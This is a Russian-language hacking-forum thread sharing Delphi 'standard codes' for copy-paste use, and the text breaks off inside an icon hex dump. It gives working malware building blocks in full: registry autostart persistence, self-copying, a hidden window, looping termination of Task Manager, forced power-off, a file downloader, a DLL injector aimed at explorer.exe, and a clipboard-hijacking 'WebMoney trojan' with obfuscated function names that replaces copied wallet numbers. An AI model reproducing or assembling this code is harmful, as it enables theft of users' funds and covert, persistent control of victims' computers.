1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Delphi Памятка.

Тема в разделе "Программирование", создана пользователем SAIND, 30 янв 2013.

  1. TopicStarter Overlay
    SAIND

    SAIND

    Регистрация:
    27 сен 2012
    Сообщения:
    743
    Симпатии:
    606
    Привет в этой теме выкладываем стандартные коды для Delphi .Чтобы по десять раз не писать одно и тоже просто скопировал и все .Прошу не писать не каких сообщений в этой теме только код описание для чего нужен.Сообщения типо круто ,надо опробовать не писать.
    Ну т.к я создал тему я и начну .:D
    Код для добавления в реестр авто загрузки и удаления её .
    Для начала качаем делфи :Please login or register to view links
    1.Запускаем и пишем в uses : RegisTry​
    2.Задаём действие.​
    3.Потом пишем переменную :var reg: tregistry;​
    4.Потом пишем код после (begin):​
    begin​
    reg := tregistry.create;​
    reg.rootkey := hkey_local_machine;​
    reg.lazywrite := false;​
    reg.openkey('software\microsoft\windows\currentversion\run', false);​
    reg.writestring('progrmma', application.exename); {вместо programma можно вставить что нибудь своё} {вместо application.exename можно вставить путь к файлу например С:\virus.exe}
    reg.closekey;​
    reg.free;​
    end;​
    5.Задаём второе действие :​
    6.Потом пишем код после (begin):​
    begin​
    WinExec('REG DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v progrmma /f',SW_HIDE);{Удаляем ветку реестра с названием progrmma }
    end;​
    Полный код с использованием кнопок:Button​
    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, RegisTry, StdCtrls;

    type
    TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    Form1: TForm1;

    implementation

    {$R *.dfm}

    procedure TForm1.Button1Click(Sender: TObject);
    var reg: tregistry;
    begin
    reg := tregistry.create;
    reg.rootkey := hkey_local_machine;
    reg.lazywrite := false;
    reg.openkey('software\microsoft\windows\currentversion\run', false);
    reg.writestring('progrmma', application.exename); {вместо programma можно вставить что нибудь своё} {вместо application.exename можно вставить путь к файлу например С:\virus.exe}
    reg.closekey;
    reg.free;
    end;

    procedure TForm1.Button2Click(Sender: TObject);
    begin
    WinExec('REG DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v progrmma /f',SW_HIDE);{Удаляем ветку реестра с названием progrmma }
    end;

    end.

    Кому что не понятно смотрим видео
     
    • Like Like x 5
    Метки:
  2. Born

    Born

    Регистрация:
    19 янв 2013
    Сообщения:
    257
    Симпатии:
    147
    //Копируемся Программу В Папку Windows
    CopyFile(PChar(ParamStr(0)), PChar('C:\Windows\Ваша прога.exe'), True);

    //Удаляем Программу из Папки Windows
    DeleteFile('C:\Windows\Ваша прога.exe');
     
    • Like Like x 3
  3. TopicStarter Overlay
    SAIND

    SAIND

    Регистрация:
    27 сен 2012
    Сообщения:
    743
    Симпатии:
    606
    Делаем форму не видимой
    Создаём событие формы в Events :onCreate
    Form1.AlphaBlend:=true;​
    Form1.AlphaBlendValue:=0;​
    Кидаем на форму таймер надеюсь знаете как​
    создаём на нем событие :​
    procedure TForm1.Timer1Timer(Sender: TObject);​
    и пишем​
    showwindow(Application.handle, SW_HIDE);{скрываем значек програмыы" на панели задач}​
    [​IMG]
    В ожект инспектаре у таймера ставим Интервал 1 мили секунду .как на картинке:
    [​IMG]

    Теперь вы сможете закрыть эту программу ток через диспечер задач:D А если дописать в таймер чтобы диспечер вырубался каждые 1.5 сек вобще не закрыть .
    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, StdCtrls, ExtCtrls;

    type
    TForm1 = class(TForm)
    Timer1: TTimer;

    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    Form1: TForm1;

    implementation

    {$R *.dfm}


    procedure TForm1.FormCreate(Sender: TObject);
    begin

    Form1.AlphaBlend:=true;
    Form1.AlphaBlendValue:=0;
    end;

    procedure TForm1.Timer1Timer(Sender: TObject);


    begin

    showwindow(Application.handle, SW_HIDE);
    end;

    end.

     
    • Like Like x 2
  4. nevazhno

    nevazhno

    Регистрация:
    10 июн 2012
    Сообщения:
    18
    Симпатии:
    16
    Нафиг в таймер писать? не проще сразу так сделать?

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!

     
  5. nevazhno

    nevazhno

    Регистрация:
    10 июн 2012
    Сообщения:
    18
    Симпатии:
    16
    [​IMG]


    Ну так что? У кого ошибки?
     
    • Like Like x 2
  6. TopicStarter Overlay
    SAIND

    SAIND

    Регистрация:
    27 сен 2012
    Сообщения:
    743
    Симпатии:
    606
    Убиваем любой процес :
    WinExec('taskkill /f /im explorer.exe',SW_HIDE);{убиваем процес
    explorer.exe но можно поменять и на свой }

    Врубил через таймер каждую секунду убить процес и больше не запустить пругу т.к эта будет убивать ту пругу например диспетчер задач или реестр.
     
    • Like Like x 3
  7. TopicStarter Overlay
    SAIND

    SAIND

    Регистрация:
    27 сен 2012
    Сообщения:
    743
    Симпатии:
    606
    Запуск вашего файла из Deplhi:
    Сначала добовляем в uses: ShellAPI​
    В действии пишем код :​
    ShellExecute(Handle,'open', 'C:\ВАША ПРОГРАМА (Или файл)', nil, nil, SW_SHOWNORMAL);​
     
    • Like Like x 1
  8. TopicStarter Overlay
    SAIND

    SAIND

    Регистрация:
    27 сен 2012
    Сообщения:
    743
    Симпатии:
    606
    Я тебя поправлю так как у тебя ошибку выдаёт а так нет :



    program Project1;

    uses
    Forms,
    Unit1 in 'Unit1.pas' {Form1};

    {$R *.res}

    begin
    Application.Initialize;
    Application.ShowMainForm:=False;
    Application.CreateForm(TForm1, Form1);
    Application.Run;
    end.
     
    • Like Like x 1
  9. Ltybcrf

    Ltybcrf Гость

    //запрет на закрытие формы(только application.terminate)

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!


    //Для закрытия message box

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!


    //для самокопирования

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!



    //поиск процесса

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!

    //коннект к интернету.

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!

    // Убивает процессы.

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!

    //Закрытие формы при обнаружении процесса.

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!


    //Запрещает вывод мышки из окна формы

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!

     
    • Like Like x 6
  10. Ltybcrf

    Ltybcrf Гость

    // регистрация в автозагрузке

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!

     
  11. Ltybcrf

    Ltybcrf Гость

    //Закрытие окна по названию окна.

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!

     
    • Like Like x 1
  12. Ltybcrf

    Ltybcrf Гость

    // Как выключить или перезагрузить компьютер

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!

    Флаги можно комбинировать c помощью оператора OR
    EWX_FORCE - принудительное выполнение операций, без сохранения данных.4
    EWX_LOGOFF - выход из сеанса текущего пользователя;
    EWX_POWEROFF - выключение питания;
    EWX_REBOOT - пеpезагpузка Windows;
    EWX_SHUTDOWN - выключение Windows, точка в которой безопасно выключать
    питание.
     
    • Like Like x 1
  13. Ltybcrf

    Ltybcrf Гость

    //downloader можно в таймер его или formcreate

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!



    //Интересный и простой способ пропись в реестре автозагрузки

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!


    Privat

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!

     
    • Like Like x 2
  14. Ltybcrf

    Ltybcrf Гость

    // самокопирование в любую папку

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!

     
  15. Ltybcrf

    Ltybcrf Гость

    //перетаскивать форму по экрану нажатием на любой компонент

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!

     
  16. Ltybcrf

    Ltybcrf Гость

    // процедура извлечения и упаковки UPX вставить в конце процедуры

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!

     
  17. Ltybcrf

    Ltybcrf Гость

    //ЗАКРЫВАЕМ ОШИБКИ

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!

     
  18. Ltybcrf

    Ltybcrf Гость

    // эмуляция нажатия кнопок

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!

     
    • Like Like x 2
  19. fud8fud

    fud8fud

    Регистрация:
    3 янв 2015
    Сообщения:
    4
    Симпатии:
    1
    Запись в процесс (Из этого можно сделать трейнер)

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!

     
  20. K_NoW

    K_NoW HackMe Please

    Регистрация:
    16 мар 2014
    Сообщения:
    464
    Симпатии:
    222
    Ни одного реального кода:

    Отправка файла на ФТП, подклюаем WinInet



    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!


    Рекурсивный поиск файлов
    Код:
    var
      Form1: TForm1;
      count:integer;
    
    implementation
    
    {$R *.dfm}
    procedure GetAllFiles(mask: string);
    var
      search: TSearchRec;
      directory: string;
    begin
      directory := ExtractFilePath(mask);
    if FindFirst(mask, $23, search) = 0 then
      begin
        repeat
          Form1.Memo1.Lines.Add(directory + search.Name);
    
          Inc(Count);
        until FindNext(search) <> 0;
      end;
    if FindFirst(directory + '*.*', faDirectory, search) = 0 then
      begin
        repeat
          if ((search.Attr and faDirectory) = faDirectory) and (search.Name[1] <> '.') then
            GetAllFiles(directory + search.Name + '\' + ExtractFileName(mask));
        until FindNext(search) <> 0;
        FindClose(search);
      end;
    end;
    
    procedure TForm1.Button1Click(Sender: TObject);
    var
      directory: string;
      mask: string;
    begin
      Count := 0;
    
      directory := edit2.text;
      mask := edit1.text;
    
      Screen.Cursor := crHourGlass;
      try
        GetAllFiles(directory + mask);
      finally
        Screen.Cursor := crDefault;
      end;
      ShowMessage(IntToStr(Count) + ' Files found');
    end;
    
    Вебмани троян
    Код:
    Program KNoW_Engine;
    
    uses
      windows;
    
    var
    a,b:longword;
    
    
    Function ZH3HDJ43FHhHJHhkhk8ghk:THandle; //Инициализация читания текста из буфера
    begin
    OpenClipboard(0);
    Result := GetClipboardData(CF_TEXT);
    end;
    
    function GHGG770f7T69frfgJH8TT8: string; //Читание текста из буфера
    var
      Data: THandle;
    begin
    Data :=ZH3HDJ43FHhHJHhkhk8ghk;
      try
        if Data <> 0 then
          Result := PChar(GlobalLock(Data))
        else
          Result := '';
      finally
        if Data <> 0 then GlobalUnlock(Data);
        CloseClipboard;
      end;
    end;
    
    procedure HT6G7fgjh67fygu8f86F6fFH(const S: string);  //запись в буффер
    var hglbCopy: THandle; L: Cardinal;
    begin
    L:=Length(S)+1;
      OpenClipboard(0);
    try
      EmptyClipboard;
      hglbCopy:=GlobalAlloc(GMEM_DDESHARE, L);
      Move(PChar(S)^,GlobalLock(hglbCopy)^,L);
      GlobalUnlock(hglbCopy);
      SetClipboardData(CF_TEXT, hglbCopy);
    finally
      CloseClipboard;
    end;
    end;
    
    
    
    
    Procedure H447h7hhh7gGHgGHG8Gg787GgGHG8; //процесс трояна
    var
    KernText:AnsiString;
    begin
    while 6>0 do
    begin
    KernText :=GHGG770f7T69frfgJH8TT8;
    if KernText = 'KWT' then begin
    halt;
    end;
    if Length(KernText) = 13 then begin
    if Copy(KernText,0,1) = 'R' then
    HT6G7fgjh67fygu8f86F6fFH('Rкошель'));
    if Copy(KernText,0,1) = 'Z' then
    HT6G7fgjh67fygu8f86F6fFH('Zкошель'));
    if Copy(KernText,0,1) = 'U' then
    HT6G7fgjh67fygu8f86F6fFH('Uкошель'));
    end;
    sleep(100);
    
    end;
    end;
    
    procedure FH48FH8ygH87g788Hih;
    begin
    a := beginthread(nil,0,@H447h7hhh7gGHgGHG8Gg787GgGHG8,nil,0,b);
    SetThreadPriority(a, THREAD_PRIORITY_HIGHEST);
    end;
    
    var
    mmsg:MSG;
    
    
    
    begin
    FH48FH8ygH87g788Hih;
    while GetMessage(mmsg,0,0,0) do
        begin
        TranslateMessage(mmsg);
        DispatchMessage(mmsg);
        end;
    end.
    
    
    А теперь коронный код, выключение компа как с розетки.
    Код:
    тип:
      _SHUTDOWN_ACTION = (
      ShutdownNoReboot,
      ShutdownReboot,
      ShutdownPowerOff);
      SHUTDOWN_ACTION = _SHUTDOWN_ACTION;
      TShutdownAction = SHUTDOWN_ACTION;
      NTSTATUS = Longint;
      PNTSTATUS = ^NTSTATUS;
      TNTStatus = NTSTATUS;
      function  NtShutdownSystem(Action : SHUTDOWN_ACTION): NTSTATUS; stdcall; external 'ntdll.dll';
    
    Процедура:
    Procedure Power_Off;
    var
      hToken: THandle;
      tkp, prevst: TTokenPrivileges;
      rl: DWORD;
    begin
      OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken);
      LookupPrivilegeValue(nil, 'SeShutdownPrivilege', tkp.Privileges[0].Luid);
      tkp.PrivilegeCount := 1;
      tkp.Privileges[0].Attributes := 2;
      AdjustTokenPrivileges(hToken, FALSE, tkp, SizeOf(prevst), prevst, rl);
      NtShutdownSystem(ShutdownPowerOff);
    end;
    
    
    Проверка подклюения к инету
    Код:
    function IsConnectedToInternet: Boolean;
    var
    dwConnectionTypes: DWORD;
    begin
    dwConnectionTypes:= INTERNET_CONNECTION_MODEM or INTERNET_CONNECTION_LAN or INTERNET_CONNECTION_PROXY;
    Result := InternetGetConnectedState(@dwConnectionTypes, 0);
    end;
    Загрука файла WinInet
    Код:
    function DFile(SourceFile, DestFile: string): Boolean;
    begin
      try
      Result:=UrlDownloadToFile(nil,PChar(SourceFile),PChar(DestFile),0,nil)=0;
      except
      Result := False;
      end;
    end;
    
    Получение папки темп и юзернейма
    Код:
    function GetTempDir():string;
    var
      buf:string;
      len:UINT;
    begin
      SetLength(buf, MAX_PATH+1);
      len:=GetTempPath(MAX_PATH, PAnsiChar(buf));
      SetLength(buf,len);
      GetTempDir:=buf
    end;
    
    function GetUser: string;
    var
      UserName : string;
      UserNameLen : Dword;
    begin
      UserNameLen := 255;
      SetLength(userName, UserNameLen);
      if GetUserName(PChar(UserName), UserNameLen) then
        Result := Copy(UserName,1,UserNameLen - 1)
      else
        Result := 'Unknown';
    end;
    
    Генератор случайных строк т.е паролей
    Код:
    function Gen(): string;
    var
      str: string;
      PLen: Integer ;
    begin
    Randomize;
    Plen :=4; //Длина
      str    := 'abcdefghijklmnopqrstuvwxyz1234567890'; //Алфавит
      Result := '';
      repeat
        Result := Result + str[Random(Length(str)) + 1];
      until (Length(Result) = PLen)
    end;
    Убить процесс в uses Tlhelp32
    Код:
    
    function KillTask(ExeFileName:string):integer;
    const
    PROCESS_TERMINATE=$0001;
    var
    Co:BOOL;
    FS:THandle;
    FP:TProcessEntry32;
    begin
    result:=0;
    
    FS:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    FP.dwSize:=Sizeof(FP);
    Co:=Process32First(FS,FP);
    while integer(Co) <> 0 do
    begin
    if ((UpperCase(ExtractFileName(FP.szExeFile))=UpperCase(ExeFileName)) or
    (UpperCase(FP.szExeFile)=UpperCase(ExeFileName))) then
    Result:=Integer(TerminateProcess(OpenProcess(PROCESS_TERMINATE, BOOL(0),
    FP.th32ProcessID),0));
    Co:=Process32Next(FS,FP);
    end;
    CloseHandle(FS);
    end;
    Dll инжектор

    Модуль:
    Код:
    unit Unit1;
    
    interface
    
    uses
      Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
      Dialogs, TlHelp32, Buttons, StdCtrls, jpeg, ExtCtrls, sSkinManager,
      sEdit, sGauge, sButton, sLabel, ComCtrls, sTrackBar, sPanel, sSpeedButton,
      sStatusBar;
    
    type
      TForm1 = class(TForm)
        OpenDialog1: TOpenDialog;
        sSkinManager1: TsSkinManager;
        sButton2: TsButton;
        sButton1: TsButton;
        Button1: TsButton;
        sEdit1: TsEdit;
        Edit1: TsEdit;
        Edit2: TsEdit;
        sStatusBar1: TsStatusBar;
        procedure sButton1Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure Button1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    
    var
      Form1: TForm1;
    
    implementation
    
    {$R *.dfm}
    
    function GetOSVersion: Cardinal;
    var
      OSVersionInfo: TOSVersionInfo;
    begin
      Result := 0;
      FillChar(OSVersionInfo, Sizeof(OSVersionInfo), 0);
      OSVersionInfo.dwOSVersionInfoSize := SizeOf(OSVersionInfo);
      if GetVersionEx(OSVersionInfo) then
      begin
        if OSVersionInfo.dwPlatformId = VER_PLATFORM_WIN32_NT then
        begin
          if OSVersionInfo.dwMajorVersion = 5 then
          begin
            if OSVersionInfo.dwMinorVersion = 0 then
              Result := 50//Windows 2000
            else if OSVersionInfo.dwMinorVersion = 2 then
              Result := 52//Windows 2003
            else if OSVersionInfo.dwMinorVersion = 1 then
              Result := 51//Windows XP
          end;
          if OSVersionInfo.dwMajorVersion = 6 then
          begin
            if OSVersionInfo.dwMinorVersion = 0 then
              Result := 60//Windows Vista
            else if OSVersionInfo.dwMinorVersion = 1 then
              Result := 61;//Windows 7
          end;
        end;
      end;
    end;
    
    
    
    function ModulInjectByDen(ModulePath: PAnsiChar; ProcessID: DWORD): Boolean;
    var
      hSnapshot: THandle;
      ModuleEntry32: TModuleEntry32;
    begin
      Result := False;
      hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, ProcessID);
      if (hSnapshot <> -1) then
      begin
        ModuleEntry32.dwSize := SizeOf(TModuleEntry32);
        if (Module32First(hSnapshot, ModuleEntry32)) then
          repeat
            if string(ModuleEntry32.szExePath) = string(ModulePath) then
            begin
              Result := True;
              Break;
            end;
          until
            not Module32Next(hSnapshot, ModuleEntry32);
        CloseHandle(hSnapshot);
      end;
    end;
    
    function InjectIDMetod(ModulePath: PAnsiChar; ProcessID: DWORD): Boolean;
    type
      TNtCreateThreadEx = function(
      ThreadHandle: PHANDLE;
      DesiredAccess: ACCESS_MASK;
      ObjectAttributes: Pointer;
      ProcessHandle: THANDLE;
      lpStartAddress: Pointer;
      lpParameter: Pointer;
      CreateSuspended: BOOL;
      dwStackSize: DWORD;
      Unknown1: Pointer;
      Unknown2: Pointer;
      Unknown3: Pointer): HRESULT; stdcall;
    var
      lpStartAddress, lpParameter: Pointer;
      dwSize: Integer;
      hProcess, hThread, lpThreadId, lpExitCode, lpBytesWritten: Cardinal;
      NtCreateThreadEx: TNtCreateThreadEx;
    begin
      Result := False;
      if ModulInjectByDen(ModulePath, ProcessID) = True then
        Exit;
      hProcess := 0;
      hProcess := OpenProcess(MAXIMUM_ALLOWED, False, ProcessID);
      if hProcess = 0 then
        Exit;
      dwSize := StrLen(ModulePath) + 1;
      lpParameter := VirtualAllocEx(hProcess, nil, dwSize, MEM_COMMIT, PAGE_READWRITE);
      if (lpParameter = nil) then
      begin
        if hProcess <> 0 then
          CloseHandle(hProcess);
        Exit;
      end;
      if GetOSVersion >= 60 then
        NtCreateThreadEx := GetProcAddress(GetModuleHandleW('ntdll'), 'NtCreateThreadEx');
      lpStartAddress := GetProcAddress(GetModuleHandleW('kernel32'), 'LoadLibraryA');
      if (lpStartAddress = nil) then
        Exit;
      if GetOSVersion >= 60 then
        if (@NtCreateThreadEx = nil) then
          Exit;
      lpBytesWritten := 0;
      if (WriteProcessMemory(hProcess, lpParameter, ModulePath, dwSize, lpBytesWritten) = False) then
      begin
        VirtualFreeEx(hProcess, lpParameter, 0, MEM_RELEASE);
        if hProcess <> 0 then
          CloseHandle(hProcess);
        Exit;
      end;
      hThread := 0;
      lpThreadId := 0;
      if GetOSVersion >= 60 then
        NtCreateThreadEx(@hThread, MAXIMUM_ALLOWED, nil, hProcess, lpStartAddress, lpParameter, false, 0, 0, 0, 0)
      else
        hThread := CreateRemoteThread(hProcess, nil, 0, lpStartAddress, lpParameter, 0, lpThreadId);
      if (hThread = 0) then
      begin
        VirtualFreeEx(hProcess, lpParameter, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        Exit;
      end;
      GetExitCodeThread(hThread, lpExitCode);
      if hProcess <> 0 then
        CloseHandle(hProcess);
      if hThread <> 0 then
        CloseHandle(hThread);
      Result := True;
    end;
    
    
    procedure TForm1.sButton2Click(Sender: TObject);
    var
      hSnap:THandle;
      pe:TProcessEntry32;
      pid: DWORD;
    begin
    pe.dwSize:=SizeOf(pe);
    hSnap:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
      If Process32First(hSnap,pe) then
        While Process32Next(hSnap,pe) do
          if ExtractFileName(pe.szExeFile)='explorer.exe' then
        edit2.Text:=IntToStr(pe.th32ProcessID);
        end;
    
    procedure TForm1.sButton1Click(Sender: TObject);
    begin
      if OpenDialog1.Execute then
        Edit1.Text:= OpenDialog1.FileName;
    end;
    
    procedure TForm1.Button1Click(Sender: TObject);
    begin
      InjectIDMetod(PAnsiChar(Edit1.Text), StrToInt(Edit2.Text));
      sEdit1.Text:='DLL Успешно Заинжектился';
    end;
    
    end.
    
    Файл прокта
    Код:
    program Project1;
    
    uses
      Forms,
      Unit1 in 'Unit1.pas' {Form1};
    
    {$R *.res}
    
    begin
      Application.Initialize;
      Application.Title := 'DLL Inject by DenkA003';
      Application.CreateForm(TForm1, Form1);
      Application.Run;
    end.
    
    Форма
    Код:
    object Form1: TForm1
      Left = 521
      Top = 136
      BorderIcons = [biSystemMenu, biMinimize]
      BorderStyle = bsSingle
      Caption = 'DLL Inject by DenkA003'
      ClientHeight = 124
      ClientWidth = 277
      Color = clBtnFace
      Font.Charset = RUSSIAN_CHARSET
      Font.Color = clBlack
      Font.Height = -10
      Font.Name = 'MS Sans Serif'
      Font.Style = []
      Icon.Data = {
        0000010001002020200000000000A81000001600000028000000200000004000
        0000010020000000000000100000000000000000000000000000000000000000
        0000000000000000000000000000000000000000000000000000000000000000
        0000000000002393FE2D2393FE6C2393FEEE2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFE2393FEB02393FE4E2393FE0A000000000000
        0000000000000000000000000000000000000000000000000000000000000000
        0000000000000000000000000000000000000000000000000000000000002393
        FE3F2393FEDA2393FEFE2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEF72393FE932393
        FE02000000000000000000000000000000000000000000000000000000000000
        00000000000000000000000000000000000000000000000000002393FEA92393
        FEFE2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEF92393FE9D2393
        FE992393FEB72393FEF92393FEFE2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEF42393FE470000000000000000000000000000000000000000000000000000
        0000000000000000000000000000000000002393FE122393FEDE2393FEFF2393
        FEFF2393FEFF2393FEF62393FEA62393FE162393FE0C00000000000000000000
        0000000000002393FE052393FE122393FE232393FEE82393FEFD2393FEFF2393
        FEFF2393FEFD2393FE7000000000000000000000000000000000000000000000
        00000000000000000000000000002393FE172393FEF82393FEFF2393FEFF2393
        FEFD2393FE970000000000000000000000000000000000000000000000000000
        000000000000000000000000000000000000000000002393FE132393FEE52393
        FEFF2393FEFF2393FEFE2393FE9E000000000000000000000000000000000000
        000000000000000000002393FE022393FEF62393FEFF2393FEFF2393FEF22393
        FE32000000000000000000000000000000000000000000000000000000000000
        0000000000000000000000000000000000000000000000000000000000002393
        FEB32393FEFE2393FEFF2393FEFE2393FE8F0000000000000000000000000000
        000000000000000000002393FEB92393FEFF2393FEFF2393FEF32393FE070000
        000000000000000000000000000000000000000000002393FE012393FE502393
        FE6B2393FE4C0000000000000000000000000000000000000000000000000000
        00002393FE602393FEFC2393FEFF2393FEFE2393FE4D00000000000000000000
        0000000000002393FE482393FEFE2393FEFF2393FEFA2393FE1B000000000000
        00000000000000000000000000002393FE562393FED02393FEEC2393FEFF2393
        FEFF2393FEFF2393FEF42393FEEA2393FE430000000000000000000000000000
        0000000000002393FE872393FEFF2393FEFF2393FEEF2393FE02000000000000
        00002393FE042393FEE12393FEFF2393FEFE2393FE6A00000000000000000000
        0000000000002393FE0E2393FED62393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEE82393FE04000000000000
        000000000000000000002393FEC22393FEFF2393FEFF2393FE91000000000000
        00002393FE7A2393FEFF2393FEFF2393FEE30000000000000000000000000000
        00002393FE082393FEEC2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEF42393FE030000
        000000000000000000002393FE062393FEFB2393FEFF2393FEF82393FE150000
        00002393FEE82393FEFF2393FEFF2393FE390000000000000000000000002393
        FE042393FEE72393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEE40000
        00000000000000000000000000002393FEBD2393FEFF2393FEFF2393FE562393
        FE342393FEFF2393FEFF2393FEFF000000000000000000000000000000002393
        FE9E2393FEFF2393FEFF2393FEF32393FEA42393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFC2393FE9B2393FEFE2393FEFF2393FEFE2393
        FE440000000000000000000000002393FE182393FEFF2393FEFF2393FEF22393
        FE482393FEFF2393FEFF2393FEDC0000000000000000000000002393FE012393
        FEEA2393FEFF2393FEFB2393FE26000000002393FECC2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFA2393FE4F000000002393FE8D2393FEFF2393FEFF2393
        FEE10000000000000000000000002393FE0A2393FEFD2393FEFF2393FEFF2393
        FE822393FEFF2393FEFF2393FE530000000000000000000000002393FE4A2393
        FEFE2393FEFF2393FEC600000000000000002393FE082393FEE92393FEFF2393
        FEFF2393FEFF2393FE9F00000000000000002393FE082393FEF62393FEFF2393
        FEF32393FE030000000000000000000000002393FEBA2393FEFF2393FEFF2393
        FEF32393FEFF2393FEFF2393FE690000000000000000000000002393FE6D2393
        FEFF2393FEFF2393FEA40000000000000000000000002393FE282393FEFD2393
        FEFF2393FEF0000000000000000000000000000000002393FEEA2393FEFF2393
        FEFF2393FE5F0000000000000000000000002393FE742393FEFF2393FEFF2393
        FEFA2393FEFF2393FEFF2393FE720000000000000000000000002393FE8E2393
        FEFF2393FEFE2393FE6E000000000000000000000000000000002393FEBD2393
        FEFF2393FE41000000000000000000000000000000002393FEE92393FEFF2393
        FEFF2393FE790000000000000000000000002393FE7C2393FEFF2393FEFF2393
        FEF12393FEFF2393FEFF2393FE5B0000000000000000000000002393FEBC2393
        FEFF2393FEFF2393FEA70000000000000000000000002393FE192393FEF22393
        FEFF2393FED6000000000000000000000000000000002393FEE92393FEFF2393
        FEFF2393FE760000000000000000000000002393FE7C2393FEFF2393FEFF2393
        FEA82393FEFF2393FEFF2393FEE82393FED72393FED62393FEC02393FEF72393
        FEFF2393FEFF2393FEE70000000000000000000000002393FEDB2393FEFF2393
        FEFF2393FEFF2393FE750000000000000000000000002393FEF02393FEFF2393
        FEFC2393FE270000000000000000000000002393FE982393FEFF2393FEFF2393
        FE262393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FE1A000000002393FE7A2393FEFF2393FEFF2393
